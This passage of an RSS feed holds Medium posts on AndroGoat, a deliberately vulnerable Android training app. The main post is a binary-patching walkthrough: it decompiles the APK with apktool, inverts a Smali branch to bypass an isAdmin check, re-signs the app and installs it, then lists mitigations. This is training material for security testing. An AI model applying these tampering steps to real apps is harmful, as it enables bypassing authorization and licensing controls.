an application blindly trusts user-controlled data without proper checks or sanitization. In AndroGoat, weak input validation is demonstrated through scenarios such as XSS, SQL injection, and unsafe WebView handling, where malicious input can alter application behavior. This preview highlights how improper input handling becomes a common entry point for attacks and why validating all input is essential for secure Android applications.</p><h3>Network Intercepting</h3><p><a href="https://medium.com/@hammamawis/hands-on-android-security-testing-in-androgoat-network-intercepting-eda7500f9592">Hands-On Android Security Testing in AndroGoat — Network Intercepting</a></p><p>Network interception vulnerabilities arise when an application fails to properly secure data transmitted over the network. In AndroGoat, these issues are demonstrated through insecure HTTP usage, weak HTTPS implementations, and missing certificate pinning, allowing traffic to be intercepted via Man-in-the-Middle attacks. This preview highlights how improper network security exposes sensitive data in transit and why strong TLS configurations are critical for Android applications.</p><h3>Binary Patching</h3><p><a href="https://medium.com/@hammamawis/hands-on-android-security-testing-in-androgoat-binary-patching-5ad41787e0d9">Hands-On Android Security Testing in AndroGoat — Binary Patching</a></p><p>Binary patching vulnerabilities occur when an Android application relies on client-side logic to enforce security controls. In AndroGoat, these weaknesses are demonstrated by modifying application binaries to bypass checks such as admin authorization. This preview highlights how easily application behavior can be altered through reverse engineering and why relying solely on client-side enforcement is insecure.</p><p>There are many more vulnerabilities to explore, but these are the ones I wanted to share. That concludes the hands-on security testing using <strong>AndroGoat</strong>. Through these exercises, we explored common Android application vulnerabilities and observed how insecure implementations can be exploited in real scenarios. With this foundation, you can continue deepening your understanding of mobile security and applying secure coding practices in real-world projects.</p><p>What are your thoughts on this analysis? Feel free to share your insights or questions! I’d love to hear from you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8845e4719a36" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hands-On Android Security Testing in AndroGoat — Binary Patching]]></title>
            <link>https://medium.com/@hammamawis/hands-on-android-security-testing-in-androgoat-binary-patching-5ad41787e0d9?source=rss-b90eee57f210------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ad41787e0d9</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Hammam Awis Zukimi]]></dc:creator>
            <pubDate>Fri, 09 Jan 2026 15:05:35 GMT</pubDate>
            <atom:updated>2026-01-09T15:05:35.855Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hands-On Android Security Testing in AndroGoat — Binary Patching</h3><p>The <strong>Binary Patching vulnerability</strong> in AndroGoat occurs because the application relies on client-side logic and hardcoded checks to enforce security decisions, such as admin status, feature access, or license validation. These checks are implemented directly in the application’s compiled code (APK) without strong protection mechanisms like server-side validation, code integrity checks, or anti-tampering controls. As a result, an attacker can decompile or disassemble the APK, modify specific instructions or variables, and repackage the application to bypass security restrictions.</p><p>The danger of this vulnerability is significant. By patching the binary, an attacker can disable authentication checks, grant themselves admin privileges, unlock paid or restricted features, or bypass security controls entirely. Since the application trusts its own modified code, it cannot detect that it has been altered. This can lead to unauthorized access, abuse of application functionality, data manipulation, and financial loss. Binary patching highlights the risk of relying solely on client-side enforcement and demonstrates the importance of server-side validation, code integrity verification, and tamper detection in Android applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CUJmQxZV6Up8vAIKJXsEaw.png" /></figure><p>The vulnerability in this code lies in the use of the isAdmin variable, which is fully controlled on the client side (the Android application) to determine admin access privileges. The isAdmin value is declared as final and is checked directly inside the onCreate() method without any server-side validation or additional security mechanisms. This design assumes that the client application can be trusted, which is not a safe assumption in Android environments.</p><p>Because of this, an attacker can perform <strong>binary patching</strong> or <strong>runtime manipulation</strong> using tools such as APKTool, JADX, or Frida to modify the value of isAdmin to true. As a result, the attacker can enable admin-only features, access administrative buttons, and execute privileged functions without having legitimate authorization. This vulnerability highlights a critical weakness in authorization logic that relies solely on client-side trust, making it easy to bypass access controls and abuse application functionality.</p><h3>Bypassing the Binary Patching</h3><p>First, you must convert the APK into Smali code using the command</p><p><strong>apktool d AndroGoat.apk -o androgoat_patch</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*Gr2X8zIk40SJwjxpWBsiZA.png" /></figure><p><strong>Smali</strong> is a low-level, human-readable representation of Android’s Dalvik bytecode. It allows security researchers to analyze and modify an app’s internal logic after it has been compiled from Java or Kotlin.</p><p><strong>Apktool</strong> is a reverse-engineering tool used to decompile and recompile Android APK files. It extracts resources and Smali code so the application’s behavior and configuration can be inspected or modified for security testing and analysis.</p><p>Then we go to androgoat_patch/smali_classes2/owasp/sat/agoat/ and we will make changes in <strong>BinaryPatchingActivity.smali</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*o2CHfZcuDc2mP_1HmIaFuw.png" /></figure><p>Then we will go to line 18, which provides information that adminButton can be detected if it has admin access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*pRynz4xpD3vgRssL2z_8Dw.png" /></figure><p>Changing the instruction from <strong>if-eqz</strong> to <strong>if-nez</strong> reverses the logic of the condition check in the application. Originally, if-eqz means <em>“</em>if the value is equal to zero (false)<em>”</em>, so the code only enters the Admin block when the condition evaluates to false. When this instruction is modified to if-nez which mean<em>“</em>if not equal to zero / true<em>”</em>, the condition logic is inverted.</p><p>As a result, the application will now jump to the <strong>Admin</strong> code block when the condition evaluates differently than intended. Since the original value of the variable (such as isAdmin) is false by default, reversing the conditional check causes the application flow to incorrectly treat a non-admin user as an admin. This manipulation allows the Admin functionality to be executed without proper authorization, clearly demonstrating how simple changes at the Smali level can bypass client-side access control logic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*FZnjsk84X6xsxxVMf9IOgw.png" /></figure><p>After the code has been changed, you must repackage it into an APK and digitally sign it so that it can be installed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YqEiMTYJSM0_7JgO3tfvyA.png" /></figure><p>Install the unsigned APK from patrickfav on GitHub</p><p><a href="https://github.com/patrickfav/uber-apk-signer/releases">Releases · patrickfav/uber-apk-signer</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vcZUC2WEEI1r2-0hvZRP4g.png" /></figure><p>Sign the APK using the uber-apk-signer-1.3.0.jar file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fLVj0o-yEUKJOOYdhNtyPQ.png" /></figure><p>An APK must be <strong>signed</strong> because Android only allows applications to be installed and executed if they are digitally signed with a valid certificate. The signature is used by the Android system to verify the <strong>integrity</strong> and <strong>authenticity</strong> of the application. If an APK is modified, the original signature becomes invalid, and the system will refuse to install or run the app.</p><p>By signing the APK using <strong>uber-apk-signer-1.3.0.jar</strong>, a new valid signature is applied to the rebuilt APK. This step tells Android that the APK is complete and trustworthy enough to be installed, even though it has been altered. Without signing, the modified APK cannot be installed, making signing a mandatory step after any APK modification or reverse engineering process.</p><p>Uninstall the old AndroGoat from Waydroid and install the patched APK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bz-ga-zcV6pe__FqwxNT8w.png" /></figure><p>We can see that the button can now be pressed from the application we are patching.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mbKrxkCpeFyfoyLs1c65GA.png" /></figure><h3>WHY CAN IT HAPPEN?</h3><p>Binary patching can happen because Android applications are <strong>distributed in a client-controlled environment</strong>, where the user has full access to the APK file. Once an app is installed, attackers can extract the APK, decompile it, and analyze its internal logic using widely available reverse-engineering tools. Since the compiled code is not inherently protected against modification, any security logic implemented only on the client side can be altered.</p><p>Additionally, Android apps often rely on <strong>local variables, hardcoded values, or client-side checks</strong> to enforce restrictions such as authentication, authorization, or feature access. Without strong protections like server-side validation, code integrity checks, or anti-tampering mechanisms, attackers can modify the app’s bytecode, change condition checks, and repackage the APK. This makes binary patching possible and effective, especially when applications implicitly trust their own client-side logic.</p><p>To mitigate <strong>binary patching</strong> vulnerabilities in Android applications, developers should apply the following security measures:</p><ul><li><strong>Move critical logic to the server side</strong><br> Do not rely on client-side checks for authentication, authorization, or privilege decisions. Validate user roles and permissions on a trusted backend.</li><li><strong>Implement integrity and tamper detection</strong><br> Use runtime integrity checks to detect whether the APK has been modified, such as verifying the app’s signature or checksum.</li><li><strong>Use code obfuscation</strong><br> Apply tools like ProGuard or R8 to make reverse engineering and Smali modification more difficult by obscuring class names, methods, and logic flow.</li><li><strong>Detect rooted or tampered environments</strong><br> Add checks to detect rooted devices, debuggers, or hooking frameworks to reduce the risk of runtime manipulation.</li></ul><h3>CONCLUSION</h3><p>In conclusion, binary patching vulnerabilities occur when Android applications rely on client-side logic to enforce security decisions, assuming the application code cannot be modified. Because APK files can be extracted, decompiled, and altered, attackers can manipulate conditional checks, hardcoded values, or authorization logic to bypass restrictions and gain unauthorized access. This demonstrates that client-side trust alone is insufficient for security. To effectively mitigate this risk, critical logic must be validated on the server side, and additional protections such as integrity checks, obfuscation, and tamper detection should be implemented to reduce the impact of binary patching attacks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ad41787e0d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>